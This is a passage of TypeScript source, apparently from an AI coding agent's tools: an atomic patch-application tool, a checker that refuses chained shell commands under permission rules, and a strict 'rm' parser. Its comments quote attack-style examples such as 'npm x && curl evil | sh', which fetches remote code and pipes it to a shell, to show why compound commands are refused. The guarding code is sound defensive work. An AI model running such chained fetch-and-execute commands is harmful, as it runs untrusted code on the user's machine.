{\n const match = line.match(/^@@(?: -(\\d+)(?:,(\\d+))?)?(?: \\+(\\d+)(?:,(\\d+))?)?(?: @@.*)?$/);\n if (!match) throw new Error(`Invalid hunk header: ${line}`);\n return { oldStart: match[1] ? Number(match[1]) : undefined };\n}\n\nfunction parsePatchUnsafe(patch: unknown): ParsedPatch | ToolResult {\n if (typeof patch !== 'string' || patch.length === 0)\n return invalid('patch must be a non-empty string');\n const bytes = Buffer.byteLength(patch, 'utf8');\n if (bytes > MAX_PATCH_BYTES)\n return toolFailure(`Patch input exceeds ${MAX_PATCH_BYTES} bytes`, {\n code: 'patch_limit_exceeded',\n remediation: 'Split the change into smaller patches.',\n details: { limit: MAX_PATCH_BYTES, bytes },\n });\n const lines = patch.replace(/\\r\\n/g, '\\n').split('\\n');\n if (lines.at(-1) === '') lines.pop();\n if (lines[0] !== '*** Begin Patch' || lines.at(-1) !== '*** End Patch')\n return invalid('Patch must start with *** Begin Patch and end with *** End Patch');\n\n // A model sometimes repeats an envelope marker; the extra copy carries nothing.\n while (lines.length > 2 && lines[1] === '*** Begin Patch') lines.splice(1, 1);\n while (lines.length > 2 && lines.at(-2) === '*** End Patch') lines.splice(-2, 1);\n\n const operations: PatchOperation[] = [];\n let index = 1;\n let hunkCount = 0;\n while (index < lines.length - 1) {\n const marker = lines[index];\n const update = marker.match(/^\\*\\*\\* Update File: (.+)$/);\n const add = marker.match(/^\\*\\*\\* Add File: (.+)$/);\n const del = marker.match(/^\\*\\*\\* Delete File: (.+)$/);\n if (update) {\n const hunks: PatchHunk[] = [];\n index++;\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\n if (!lines[index].startsWith('@@'))\n throw new Error(`Expected @@ hunk header near line ${index + 1}`);\n const header = lines[index];\n const parsedHeader = parseHunkHeader(header);\n index++;\n const hunkLines: PatchHunk['lines'] = [];\n while (\n index < lines.length - 1 &&\n !lines[index].startsWith('@@') &&\n !lines[index].startsWith('*** ')\n ) {\n const line = lines[index++];\n if (line === '\\\') {\n const previous = hunkLines.at(-1);\n if (!previous)\n throw new Error(`No-newline marker has no preceding hunk line near line ${index}`);\n previous.noNewline = true;\n continue;\n }\n if (line.startsWith(' ')) hunkLines.push({ kind: 'context', text: line.slice(1) });\n else if (line.startsWith('-')) hunkLines.push({ kind: 'remove', text: line.slice(1) });\n else if (line.startsWith('+')) hunkLines.push({ kind: 'add', text: line.slice(1) });\n else throw new Error(`Invalid hunk line near line ${index}`);\n }\n if (hunkLines.length === 0) throw new Error(`Empty hunk near line ${index}`);\n if (!hunkLines.some((line) => line.kind !== 'add'))\n throw new Error(`Update hunk must contain context or removed lines near line ${index}`);\n hunks.push({ header, oldStart: parsedHeader.oldStart, lines: hunkLines });\n hunkCount++;\n }\n if (hunks.length === 0) throw new Error(`Update File ${update[1]} has no hunks`);\n operations.push({ kind: 'update', path: update[1].trim(), hunks });\n continue;\n }\n if (add) {\n index++;\n const content: string[] = [];\n while (index < lines.length - 1 && !lines[index].startsWith('*** ')) {\n const line = lines[index++];\n if (!line.startsWith('+'))\n throw new Error(`Added file lines must begin with + near line ${index}`);\n content.push(line.slice(1));\n }\n operations.push({ kind: 'add', path: add[1].trim(), lines: content });\n continue;\n }\n if (del) {\n index++;\n if (index < lines.length - 1 && !lines[index].startsWith('*** '))\n throw new Error(`Delete File ${del[1]} cannot contain patch lines`);\n operations.push({ kind: 'delete', path: del[1].trim() });\n continue;\n }\n throw new Error(`Expected a file operation near line ${index + 1}`);\n }\n if (operations.length === 0) return invalid('Patch contains no file operations');\n if (operations.length > MAX_FILES || hunkCount > MAX_HUNKS)\n return toolFailure(`Patch exceeds limits (${MAX_FILES} files, ${MAX_HUNKS} hunks)`, {\n code: 'patch_limit_exceeded',\n remediation: 'Split the change into smaller patches.',\n details: { files: operations.length, hunks: hunkCount },\n });\n return { operations, bytes };\n}\n\nexport function parsePatch(patch: unknown): ParsedPatch | ToolResult {\n try {\n return parsePatchUnsafe(patch);\n } catch (error) {\n return invalid(error instanceof Error ? error.message : String(error));\n }\n}\n\nfunction linesOf(text: string): string[] {\n const lines = text.split('\\n');\n if (lines.at(-1) === '') lines.pop();\n return lines;\n}\n\n/** Every start index at which `needle` occurs in `haystack`, in order. */\nfunction sequenceMatches(haystack: string[], needle: string[]): number[] {\n if (needle.length === 0) return [];\n const matches: number[] = [];\n for (let start = 0; start <= haystack.length - needle.length; start++) {\n if (needle.every((line, offset) => haystack[start + offset] === line)) matches.push(start);\n }\n return matches;\n}\n\nfunction candidateLine(haystack: string[], line: string): number | undefined {\n const matches = haystack.reduce<number[]>((found, value, index) => {\n if (value === line) found.push(index + 1);\n return found;\n }, []);\n return matches.length === 1 ? matches[0] : undefined;\n}\n\nexport function applyHunks(\n text: string,\n hunks: PatchHunk[],\n): { text: string; mismatch?: ToolResult } {\n let lines = linesOf(text);\n let trailingNewline = text.endsWith('\\n');\n // Where the previous hunk ended, in the text as already patched. A hunk whose context repeats\n // in the file is still unambiguous when exactly one occurrence lies at or after this point.\n let cursor = 0;\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\n const hunk = hunks[hunkIndex];\n const oldLines = hunk.lines.filter((line) => line.kind !== 'add').map((line) => line.text);\n const newLines = hunk.lines.filter((line) => line.kind !== 'remove').map((line) => line.text);\n const matches = sequenceMatches(lines, oldLines);\n const afterPrevious = matches.filter((start) => start >= cursor);\n const index =\n matches.length === 1 ? matches[0] : afterPrevious.length === 1 ? afterPrevious[0] : -1;\n if (matches.length === 0)\n return {\n text,\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context not found`, {\n code: 'patch_context_not_found',\n remediation:\n 'Reread the affected range and regenerate the hunk against the latest file contents.',\n details: {\n hunkIndex: hunkIndex + 1,\n header: hunk.header,\n firstContextLine: oldLines[0]?.slice(0, 200),\n closestCandidateLine: oldLines[0] ? candidateLine(lines, oldLines[0]) : undefined,\n suggestedReadRange:\n hunk.oldStart !== undefined\n ? {\n lineStart: Math.max(1, hunk.oldStart - 3),\n lineEnd: hunk.oldStart + oldLines.length + 3,\n }\n : undefined,\n },\n }),\n };\n if (index < 0)\n return {\n text,\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context is ambiguous`, {\n code: 'ambiguous_patch_context',\n remediation:\n 'Add surrounding lines, such as the enclosing function signature, until the hunk occurs once in the file or once after the previous hunk, then regenerate the patch.',\n details: {\n hunkIndex: hunkIndex + 1,\n header: hunk.header,\n matches: matches.length,\n matchesAfterPreviousHunk: afterPrevious.length,\n },\n }),\n };\n const touchesEndOfFile = index + oldLines.length === lines.length;\n lines = [...lines.slice(0, index), ...newLines, ...lines.slice(index + oldLines.length)];\n cursor = index + newLines.length;\n if (touchesEndOfFile) {\n const oldNoNewline = hunk.lines.some((line) => line.kind !== 'add' && line.noNewline);\n const newNoNewline = hunk.lines.some((line) => line.kind !== 'remove' && line.noNewline);\n if (newNoNewline) trailingNewline = false;\n else if (oldNoNewline) trailingNewline = true;\n }\n }\n return { text: lines.join('\\n') + (trailingNewline && lines.length > 0 ? '\\n' : '') };\n}\n\nfunction mutationFromDiff(\n target: { displayPath: string; memory?: true },\n kind: FileMutationSummary['kind'],\n stats: { addedLines: number; removedLines: number },\n): FileMutationSummary {\n return {\n kind,\n filePath: target.displayPath,\n ...(target.memory ? { memory: true as const } : {}),\n addedLines: stats.addedLines,\n removedLines: stats.removedLines,\n };\n}\n\nfunction errorCodeFor(error: unknown): string {\n return error instanceof Error && error.message.includes('changed or disappeared')\n ? 'stale_file_observation'\n : 'filesystem_error';\n}\n\n/**\n * The first operation that would lose a provider key (#519), checked before anything is staged.\n *\n * A delete of a file that holds a key is refused outright, since Book cannot write the real value\n * back; an update is refused when its added lines carry the marker and the file holds a key, the\n * rule Edit applies. A file that cannot be read is left to the staging pass to report.\n */\nasync function redactedSecretRefusal(\n ctx: ToolContext,\n entries: ReadonlyArray<{ operation: PatchOperation; filePath: string; messagePath: string }>,\n): Promise<ToolResult | undefined> {\n for (const { operation, filePath, messagePath } of entries) {\n if (operation.kind === 'add') continue;\n const added =\n operation.kind === 'update'\n ? operation.hunks.flatMap((hunk) =>\n hunk.lines.filter((line) => line.kind === 'add').map((line) => line.text),\n )\n : [];\n if (operation.kind === 'update' && !added.some((text) => text.includes(PROVIDER_KEY_MARKER)))\n continue;\n let existing: string;\n try {\n existing = (await readTextSnapshot(filePath, true)).text;\n } catch {\n continue;\n }\n const refused =\n operation.kind === 'delete'\n ? redactedSecretDeletion(ctx, messagePath, existing)\n : redactedSecretOverwrite(ctx, messagePath, existing, added);\n if (refused) return refused;\n }\n return undefined;\n}\n\nasync function applyPatch(args: Record<string, unknown>, ctx: ToolContext): Promise<ToolResult> {\n const parsed = parsePatch(args.patch);\n if (!('operations' in parsed)) return parsed;\n const paths = parsed.operations.map((operation) => operation.path);\n const resolved = parsed.operations.map((operation) => {\n const result = resolveMutationPath(ctx, operation.path);\n return result\n ? {\n operation,\n ...result,\n displayPath: mutationDisplayPath(result),\n messagePath: messagePathFor(result),\n }\n : null;\n });\n if (resolved.some((entry) => !entry))\n return pathOutsideWorkspaceResult(paths[resolved.findIndex((entry) => !entry)]);\n const entries = resolved as Array<{\n operation: PatchOperation;\n filePath: string;\n canonicalPath: string;\n relativePath: string;\n /** `relativePath`, or `memory/<name>.md` for a memory file. */\n displayPath: string;\n /** `relativePath`, or the absolute path for a memory file: the spelling the model reads. */\n messagePath: string;\n memory?: true;\n }>;\n const refused = await redactedSecretRefusal(ctx, entries);\n if (refused) return refused;\n const canonicalKeys = entries.map((entry) =>\n process.platform === 'win32' ? entry.canonicalPath.toLowerCase() : entry.canonicalPath,\n );\n if (new Set(canonicalKeys).size !== canonicalKeys.length)\n return toolFailure('A patch may contain only one operation per file', {\n code: 'patch_conflict',\n remediation: 'Combine related updates into one file operation with multiple hunks.',\n });\n\n return withMutationLocks(\n entries.map((entry) => entry.canonicalPath),\n async () => {\n const staged: StagedFile[] = [];\n const memoryWarnings: string[] = [];\n try {\n for (const entry of entries) {\n throwIfAborted(ctx.signal);\n const before = await readTextSnapshot(entry.filePath, entry.operation.kind === 'add');\n if (before.binary)\n return toolFailure(`Binary file is unsupported: ${entry.messagePath}`, {\n code: 'binary_file_unsupported',\n remediation: 'Use a text file mutation or a dedicated binary workflow.',\n });\n if (before.mixedLineEndings && entry.operation.kind === 'update')\n return toolFailure(\n `Mixed line endings are unsupported for patch updates: ${entry.messagePath}`,\n {\n code: 'patch_conflict',\n remediation:\n 'Normalize the file line endings, reread it, and regenerate the patch.',\n details: { filePath: entry.messagePath, lineEnding: 'mixed' },\n },\n );\n const stale =\n entry.operation.kind === 'add'\n ? undefined\n : await requireFreshObservation(ctx, entry.filePath, entry.messagePath);\n if (stale)\n return toolFailure(stale, {\n code: 'stale_file_observation',\n remediation: 'Call Read before regenerating the patch.',\n });\n if (entry.operation.kind === 'add') {\n if (before.exists)\n return toolFailure(`File already exists: ${entry.messagePath}`, {\n code: 'patch_conflict',\n remediation: 'Use Update File for an existing file.',\n });\n let afterText =\n entry.operation.lines.join('\\n') + (entry.operation.lines.length > 0 ? '\\n' : '');\n if (entry.memory) {\n const checked = checkMemoryWrite(ctx, entry.filePath, afterText, null);\n if (!checked.ok) return checked.failure;\n afterText = checked.content ?? afterText;\n memoryWarnings.push(...checked.warnings);\n }\n // Staging writes nothing, so a refusal here leaves every file in the patch as it was.\n const added = redactedSecretAddition(ctx, entry.messagePath, '', afterText);\n if (added) return added;\n const { stats } = await renderDiffWithStatsAsync('', afterText, 3, ctx.signal);\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.canonicalPath,\n messagePath: entry.messagePath,\n memory: entry.memory,\n before,\n afterText,\n afterBytes: Buffer.from(afterText, 'utf8'),\n mutation: mutationFromDiff(entry, 'create', stats),\n });\n } else if (entry.operation.kind === 'delete') {\n if (!before.exists)\n return toolFailure(`File not found: ${entry.messagePath}`, {\n code: 'patch_conflict',\n remediation: 'Reread the workspace and regenerate the patch.',\n });\n if (entry.memory) {\n const checked = checkMemoryWrite(ctx, entry.filePath, null, before.text);\n if (!checked.ok) return checked.failure;\n }\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.filePath,\n messagePath: entry.messagePath,\n memory: entry.memory,\n before,\n mutation: {\n kind: 'delete',\n filePath: entry.displayPath,\n ...(entry.memory ? { memory: true as const } : {}),\n addedLines: 0,\n removedLines: linesOf(before.text).length,\n },\n });\n } else {\n if (!before.exists)\n return toolFailure(`File not found: ${entry.messagePath}`, {\n code: 'patch_context_not_found',\n remediation: 'Reread the file and regenerate the patch.',\n });\n const applied = applyHunks(before.text, entry.operation.hunks);\n if (applied.mismatch)\n return toolFailure(\n `${entry.messagePath}: ${applied.mismatch.structuredError?.message}`,\n {\n ...applied.mismatch.structuredError,\n code: applied.mismatch.structuredError?.code ?? 'patch_context_not_found',\n remediation: applied.mismatch.structuredError?.remediation,\n details: {\n ...applied.mismatch.structuredError?.details,\n filePath: entry.messagePath,\n lineEnding: before.mixedLineEndings ? 'mixed' : before.lineEnding,\n normalizedMatching: true,\n },\n },\n );\n let afterText = applied.text;\n if (entry.memory) {\n const checked = checkMemoryWrite(ctx, entry.filePath, afterText, before.text);\n if (!checked.ok) return checked.failure;\n afterText = checked.content ?? afterText;\n memoryWarnings.push(...checked.warnings);\n }\n const added = redactedSecretAddition(ctx, entry.messagePath, before.text, afterText);\n if (added) return added;\n const { stats } = await renderDiffWithStatsAsync(before.text, afterText, 3, ctx.signal);\n staged.push({\n operation: entry.operation,\n absolutePath: entry.filePath,\n writePath: entry.canonicalPath,\n messagePath: entry.messagePath,\n memory: entry.memory,\n before,\n afterText,\n afterBytes: restoreTextEncoding(afterText, before),\n mutation: mutationFromDiff(entry, 'update', stats),\n });\n }\n }\n\n const mutations = staged.map((file) => file.mutation);\n const changedLines = mutations.reduce(\n (total, mutation) => total + mutation.addedLines + mutation.removedLines,\n 0,\n );\n const contextLines = parsed.operations.reduce(\n (total, operation) =>\n total +\n (operation.kind === 'update'\n ? operation.hunks.reduce(\n (hunkTotal, hunk) =>\n hunkTotal + hunk.lines.filter((line) => line.kind === 'context').length,\n 0,\n )\n : 0),\n 0,\n );\n const changeBudgetWarnings: string[] = [];\n if (changedLines > 2_000) changeBudgetWarnings.push('large_change');\n if (changedLines > 100 && changedLines > Math.max(1, contextLines) * 20)\n changeBudgetWarnings.push('low_context_to_change_ratio');\n\n const diffs: string[] = [];\n for (const file of staged) {\n throwIfAborted(ctx.signal);\n const afterText = file.afterText ?? '';\n const { diff } = await renderDiffWithStatsAsync(\n file.before.text,\n afterText,\n 3,\n ctx.signal,\n );\n if (diff) diffs.push(`--- ${file.messagePath}\\n+++ ${file.messagePath}\\n${diff}`);\n }\n const committed: StagedFile[] = [];\n try {\n for (const file of staged) {\n throwIfAborted(ctx.signal);\n committed.push(file);\n if (file.operation.kind === 'delete')\n await removeFileAtomically(file.absolutePath, ctx.signal);\n else\n await writeFileAtomically(\n file.writePath,\n file.afterBytes!,\n ctx.signal,\n file.before.mode,\n );\n const check = await readTextSnapshot(\n file.absolutePath,\n file.operation.kind === 'delete',\n );\n if (\n file.operation.kind === 'delete'\n ? check.exists\n : !check.exists || !check.bytes.equals(file.afterBytes!)\n )\n throw new Error(`Post-write verification failed for ${file.messagePath}`);\n }\n } catch (error) {\n let rollbackFailed = false;\n for (const file of committed.reverse()) {\n try {\n if (file.before.exists)\n await writeFileAtomically(\n file.writePath,\n file.before.bytes,\n undefined,\n file.before.mode,\n );\n else await removeFileAtomically(file.absolutePath).catch(() => undefined);\n } catch {\n rollbackFailed = true;\n }\n }\n return toolFailure(\n `Patch commit failed${rollbackFailed ? '; rollback also failed' : ' and was rolled back'}: ${error instanceof Error ? error.message : String(error)}`,\n {\n code: rollbackFailed ? 'patch_rollback_failed' : 'filesystem_error',\n remediation: rollbackFailed\n ? 'Inspect the affected files and restore them manually.'\n : 'Retry after checking the workspace state.',\n },\n );\n }\n\n const observations = [];\n for (const file of staged) {\n if (file.operation.kind !== 'delete')\n observations.push(\n await observeFile(\n ctx,\n file.absolutePath,\n file.operation.kind === 'add' ? 'create' : 'edit',\n ),\n );\n }\n for (const file of staged) {\n if (file.memory) {\n noticeMemoryWrite(\n ctx,\n file.absolutePath,\n file.operation.kind === 'delete' ? 'deleted' : 'saved',\n );\n }\n }\n const result = toolSuccess(\n withMemoryWarnings(\n diffs.join('\\n') || 'Patch applied successfully (no textual change)',\n memoryWarnings,\n ),\n {\n data: {\n files: mutations.map((mutation) => mutation.filePath),\n changedFiles: mutations.length,\n changedLines,\n patchBytes: parsed.bytes,\n changeBudgetWarnings,\n },\n artifacts: {\n fileMutation: mutations[0],\n fileMutations: mutations,\n fileObservations: observations,\n },\n presentation: {\n kind: 'diff',\n summary: `Applied patch to ${mutations.length} ${mutations.length === 1 ? 'file' : 'files'}`,\n target: mutations.length === 1 ? mutations[0].filePath : `${mutations.length} files`,\n },\n },\n );\n if (!staged.every((file) => file.mutation.kind === 'create')) return result;\n // Every file in an add-only patch is a second copy of what the model just\n // wrote: the diff is all-plus, with no before for the model to read the\n // change against, and GPT/Codex-family models are steered here (#378).\n // It stays the result's content — the TUI, the session record and the SDK\n // render the diff from there — and the model reads one line a file. A\n // patch that also updates or deletes keeps the diffs: their removed lines\n // are the part the model cannot re-derive.\n return {\n ...result,\n maskedPlaceholder: withMemoryWarnings(\n `${staged\n .map(\n (file, order) =>\n `${order === 0 ? 'Created' : 'created'} ${file.messagePath} (${file.mutation.addedLines} lines, ${file.afterBytes?.byteLength ?? 0} bytes)`,\n )\n .join('; ')}.`,\n memoryWarnings,\n ),\n };\n } catch (error) {\n const code = errorCodeFor(error);\n return toolFailure(error instanceof Error ? error.message : String(error), {\n code,\n remediation: 'Reread the affected file and regenerate the patch.',\n });\n }\n },\n );\n}\n\nexport const patchTools: ToolDefinition[] = [\n {\n name: 'ApplyPatch',\n argumentAliases: { input: 'patch' },\n description:\n 'Apply a Codex-style patch with Update File, Add File, or Delete File operations across one or more files atomically. Read the targets first; use exact contextual hunks, and regenerate the patch after a context mismatch instead of resending it unchanged.',\n parameters: {\n type: 'object',\n properties: {\n patch: {\n type: 'string',\n minLength: 1,\n maxLength: MAX_PATCH_BYTES,\n description: 'Patch text beginning with *** Begin Patch and ending with *** End Patch',\n },\n baseObservation: {\n type: 'string',\n maxLength: 128,\n description:\n 'Optional short observation identifier for diagnostics; freshness is checked implicitly.',\n },\n },\n required: ['patch'],\n additionalProperties: false,\n },\n execute: applyPatch,\n },\n];\n","import { readsSingleQuoteAsPosix } from '../shell-selection.js';\nimport type { ResolvedShell } from '../types/runtime.js';\n\n/**\n * Shell characters that chain, redirect, substitute or group one command into another, and a\n * newline, which starts a second command.\n *\n * A `Bash(<glob>)` rule is a glob over the whole command string and `*` crosses anything, so\n * `Bash(npm *)` would also match `npm x && curl evil | sh`. Book cannot express \"and nothing else\"\n * in its glob language and does not parse shell, so it asks a smaller question with\n * {@link hasCompoundShellSyntax}: does the command contain shell syntax that could run something\n * other than the one command the rule was written for? Two places use the answer:\n *\n * - the capability layer (`allowed-tools` of a command, skill or agent role) refuses a compound\n * command under a `Bash(<glob>)` rule, so the model sends each command as its own call;\n * - the permission layer admits a call through a `Bash(<pattern>)` allow rule only when the whole\n * command, trimmed, matches the pattern and is not compound; a compound command falls through to\n * the normal prompt.\n *\n * The check is quote-aware, but it is a small quote scanner and not a shell parser. A character\n * that chains outside quotes (`;`, `&`, `|`, `<`, `>`, `(`, `)`, `{`, `}`, `$`, a backtick) is\n * literal inside quotes, so `git commit -m \"fix(x): y\"` is one command. `$` and a backtick still\n * count inside double quotes, where a shell substitutes, and a line break counts everywhere.\n *\n * It stays conservative across sh/bash, PowerShell and cmd.exe: whatever any of them could read as\n * something other than a quote refuses the command (a backslash or caret before a quote, a\n * typographic quote, an unterminated quote). On Windows any single quote refuses the command unless\n * the session shell is known to be a bash or POSIX sh on the MSYS runtime, such as Git Bash (see\n * {@link ScanShell} and {@link hasCompoundShellSyntax}): cmd.exe has no single quote, but the Windows\n * session shell is usually PowerShell or Git Bash, which both read it as a real one, and only a POSIX\n * shell that gets the command byte for byte reads it as sh does, so for any other shell the scanner\n * cannot tell which characters are quoted.\n *\n * The \"Always allow\" ladder (`permissionRuleLadder`) stays quote-blind on purpose and uses\n * {@link SHELL_CHAINING} raw: a tokenizer that knew quotes would offer rungs with a dangling quote.\n */\nexport const SHELL_CHAINING = /[;&|><`$(){}\\n]/;\n\n/** Line breaks in any shell: LF, CR, NEL, and the Unicode line and paragraph separators. */\nexport const LINE_BREAK = /[\\n\\r\\u0085\\u2028\\u2029]/;\n\n/** Typographic quotes U+2018 to U+201E, which PowerShell reads as quote characters. */\nconst TYPOGRAPHIC_QUOTE_RANGE = '\\\\u2018-\\\\u201E';\n\nconst TYPOGRAPHIC_QUOTE = new RegExp(`[${TYPOGRAPHIC_QUOTE_RANGE}]`);\n\n/** Every character that can open or close a quote in some shell. */\nexport const ANY_QUOTE = new RegExp(`['\"${TYPOGRAPHIC_QUOTE_RANGE}]`);\n\n/**\n * The part of the session shell the scanner reads: `ResolvedShell.kind`, `file` and `msys`. Git Bash\n * is `kind: 'bash'` with a `file`: `shellExecution` sends a `bash` kind without one to Node's\n * `shell: true`, which is cmd.exe on Windows. `msys` marks a bash or sh on the MSYS runtime, and only\n * a flagged one reads `'` as on Linux (#548). Callers pass the session's `ResolvedShell` as is, so\n * the flag is never dropped on the way.\n */\nexport type ScanShell = Pick<ResolvedShell, 'kind' | 'file' | 'msys'>;\n\n/**\n * Whether a command contains shell syntax a `Bash(<pattern>)` rule cannot vouch for, so it must be\n * refused or asked about. Surrounding whitespace is not part of the command (the Bash tool runs\n * `command.trim()`), so it is trimmed first. One left-to-right scan, in one of three states:\n * outside quotes, inside single quotes, inside double quotes. True when:\n *\n * - outside quotes, any {@link SHELL_CHAINING} character appears;\n * - inside double quotes, `$` or a backtick appears (every other character is literal);\n * - inside single quotes, nothing is special;\n * - a quote is still open at the end;\n * - a line break appears in any state: in sh `#` can comment out an opening quote, and PowerShell\n * reads a bare CR as a line break, so no quote state can be trusted across one;\n * - a backslash comes right before `'` or `\"` in any state, single quotes included: sh reads it as\n * a literal quote outside single quotes, PowerShell and cmd.exe read `\\\"` as a closing quote, and\n * fish reads `\\'` inside single quotes as an escaped quote. The `shell` setting can name any\n * executable (an unknown one is treated as `sh`), so the scanner cannot tell which characters are\n * quoted;\n * - a caret comes right before `'` or `\"` outside quotes: `^` escapes the quote in cmd.exe;\n * - a typographic quote appears anywhere;\n * - on `win32`, an ASCII `'` appears anywhere, unless `shell` is a bash or POSIX sh on the MSYS\n * runtime, such as Git Bash (`readsSingleQuoteAsPosix`): there `'` reads as on Linux, because the\n * Bash tool delivers the command out of band, byte for byte, so the runtime never rebuilds it (see\n * `shellExecution`, #548). WSL's launchers, cmd, pwsh, powershell, a `bash` or sh without a file,\n * a non-POSIX shell and no known shell still refuse `'`. So do a Cygwin bash or sh, a shim or copy\n * of a bash or sh with no MSYS DLL beside it (scoop's `shims\\bash.exe`), and busybox-w32 copied as\n * `sh.exe`: they get the command out of band too, but Windows CI proves only the MSYS runtime's\n * delivery, so this asks `readsSingleQuoteAsPosix`, never `receivesCommandOutOfBand`. Off win32\n * `shell` is not read.\n *\n * Every caller passes the same (platform, shell) pair, so the permission gate, the capability gate\n * and the refusal text agree about which commands are compound.\n */\nexport function hasCompoundShellSyntax(\n command: string,\n platform: NodeJS.Platform = process.platform,\n shell?: ScanShell,\n): boolean {\n const text = command.trim();\n const refusesSingleQuote = platform === 'win32' && !readsSingleQuoteAsPosix(shell);\n let state: 'outside' | 'single' | 'double' = 'outside';\n\n for (let i = 0; i < text.length; i += 1) {\n const char = text[i];\n if (LINE_BREAK.test(char) || TYPOGRAPHIC_QUOTE.test(char)) return true;\n if (refusesSingleQuote && char === \"'\") return true;\n\n const next = text[i + 1];\n const quoteFollows = next === '\"' || next === \"'\";\n if (char === '\\\\' && quoteFollows) return true;\n\n if (state === 'single') {\n if (char === \"'\") state = 'outside';\n continue;\n }\n\n if (state === 'double') {\n if (char === '$' || char === '`') return true;\n if (char === '\"') state = 'outside';\n continue;\n }\n\n if (char === '^' && quoteFollows) return true;\n if (char === '\"') state = 'double';\n else if (char === \"'\") state = 'single';\n else if (SHELL_CHAINING.test(char)) return true;\n }\n\n return state !== 'outside';\n}\n","import { posix, win32 } from 'path';\nimport { canonicalizePath, comparablePath, isOutside } from './path-utils.js';\n\n/**\n * A strict reading of a shell line that is nothing but `rm <file> [<file>…]`.\n *\n * A glob over a command string cannot say \"and nothing else\": `*` crosses spaces, `;`, `&&` and\n * `..`, so `Bash(rm /memory/*.md)` as a glob would also match `rm /memory/a.md && curl …` and\n * `rm /memory/a.md /home/me/b.md`. Both callers that must be sure a line is one plain removal —\n * the permission evaluator's memory allowance and the capability layer's `rm` rules — read it\n * here instead.\n *\n * Accepted: the word `rm`, then one or more operands, separated by blanks. An operand is an\n * absolute path of plain characters (letters, digits and `_ . / @ % + = : , -`) with no empty,\n * `.` or `..` segment. Everything else is refused, so there is no flag (a leading `-` cannot start\n * an absolute path, and `--` is not one), no glob, no quote, no variable, no tilde, no chaining\n * (`; & |`), no redirect, no substitution, no line break.\n *\n * On Windows an absolute path is also a drive-letter one (`C:/…` or `C:\\…`), and `\\` is a\n * separator. Git-Bash-style `/c/Users/…` operands are read as POSIX paths and so never match a\n * `C:` root: `/c/…` is ambiguous with a path on the current drive, so it is left refused rather\n * than guessed at. A directory name with a blank in it cannot be written without quotes, so it is\n * refused too. A `~` is read only as the 8.3 short-name marker (`RUNNER~1`): a shell expands a tilde\n * at the start of a word, and a drive operand never starts with one.\n */\nconst PLAIN_POSIX_OPERAND = /^\\/[A-Za-z0-9_./@%+=:,-]*$/;\n/**\n * `C:/…` or `C:\\…`; past the drive no `:` is allowed (`a.md:stream` is not a file name). A `~` must\n * be followed by a digit, the 8.3 short form of a long directory name (`C:\\Users\\RUNNER~1`), which\n * is how Windows spells a temp directory.\n */\nconst PLAIN_DRIVE_OPERAND = /^[A-Za-z]:[\\\\/](?:[A-Za-z0-9_.\\\\/@%+=,-]|~(?=[0-9]))*$/;\n\nexport function parseStrictRm(\n command: string,\n platform: NodeJS.Platform = process.platform,\n): string[] | null {\n const words = command.trim().split(/[ \\t]+/);\n if (words[0] !== 'rm' || words.length < 2) return null;\n const operands = words.slice(1);\n for (const operand of operands) {\n const drive = platform === 'win32' && PLAIN_DRIVE_OPERAND.test(operand);\n if (!drive && !PLAIN_POSIX_OPERAND.test(operand)) return null;\n // Segments are read in the spelling they are compared in; the root of a drive path is `C:/`.\n const spelled = comparablePath(operand, platform);\n const segments = spelled.slice(drive ? 3 : 1).split('/');\n // A trailing slash leaves an empty last segment: that names a directory, not a file.\n if (segments.some((segment) => segment === '' || segment === '.' || segment === '..')) {\n return null;\n }\n }\n return operands;\n}\n\n/** Whether `operand` is a `.md` file's path whose name is not hidden. */\nfunction isMarkdownFile(operand: string): boolean {\n const name = posix.basename(operand);\n return name.length > '.md'.length && !name.startsWith('.') && name.endsWith('.md');\n}\n\n/**\n * The operands of `command` when it is a strict `rm` of only Markdown files that are *spelled* as\n * under one of `roots`, and `null` otherwise. `MEMORY.md` — the index, not a memory — is never one\n * of them. A pure comparison of strings: nothing is read from disk, so the Windows spelling of a\n * path is judged the same on any host.\n */\nexport function strictRmOperandsSpelledUnder(\n command: string,\n roots: readonly string[],\n platform: NodeJS.Platform = process.platform,\n /** Another spelling of an operand that may also be under a root (see `strictRmOfMarkdownUnder`). */\n respell: (operand: string) => string = (operand) => operand,\n): string[] | null {\n const operands = parseStrictRm(command, platform);\n if (!operands) return null;\n const spellings = roots.map((root) =>\n posix.normalize(comparablePath(root, platform)).replace(/\\/+$/, ''),\n );\n const isUnder = (path: string) => {\n const spelled = comparablePath(path, platform);\n return spellings.some((spelling) => spelled.startsWith(`${spelling}/`));\n };\n for (const operand of operands) {\n const spelled = comparablePath(operand, platform);\n if (!isMarkdownFile(spelled) || posix.basename(spelled).toLowerCase() === 'memory.md') {\n return null;\n }\n if (!isUnder(operand) && !isUnder(respell(operand))) return null;\n }\n return operands;\n}\n\n/**\n * The operands of `command` when it is a strict `rm` of only Markdown files under `root`, and\n * `null` otherwise. `MEMORY.md` — the index, not a memory — is never one of them.\n *\n * \"Under\" is judged twice: by the spelling, and again after links are followed in the directory\n * that holds each file, so a symlinked subdirectory cannot carry a removal out of `root`. The file\n * itself may be a link: `rm` removes the link and not what it points at.\n *\n * `canonicalize` is how links (and, on Windows, 8.3 short names) are followed. Root and operand\n * both go through it, so `C:\\Users\\RUNNER~1\\…` and `C:\\Users\\runneradmin\\…` name one directory\n * whichever of them the root and the operand are spelled in; it is a seam so that a Windows path\n * can be judged on any host.\n */\nexport function strictRmOfMarkdownUnder(\n command: string,\n root: string,\n platform: NodeJS.Platform = process.platform,\n canonicalize: (path: string) => string = canonicalizePath,\n): string[] | null {\n const paths = platform === 'win32' ? win32 : posix;\n if (!paths.isAbsolute(root)) return null;\n const canonicalRoot = canonicalize(root);\n // The root as the model was told it and as links resolve it: either spelling names it.\n const operands = strictRmOperandsSpelledUnder(\n command,\n [root, canonicalRoot],\n platform,\n (operand) => paths.join(canonicalize(paths.dirname(operand)), paths.basename(operand)),\n );\n if (!operands) return null;\n for (const operand of operands) {\n if (isOutside(canonicalRoot, canonicalize(paths.dirname(operand)), paths)) return null;\n }\n return operands;\n}\n\n/**\n * Whether a capability rule `Bash(rm <glob>)` admits `command`. The rule is read operand by\n * operand: the line must be a strict `rm` ({@link parseStrictRm}), and every operand 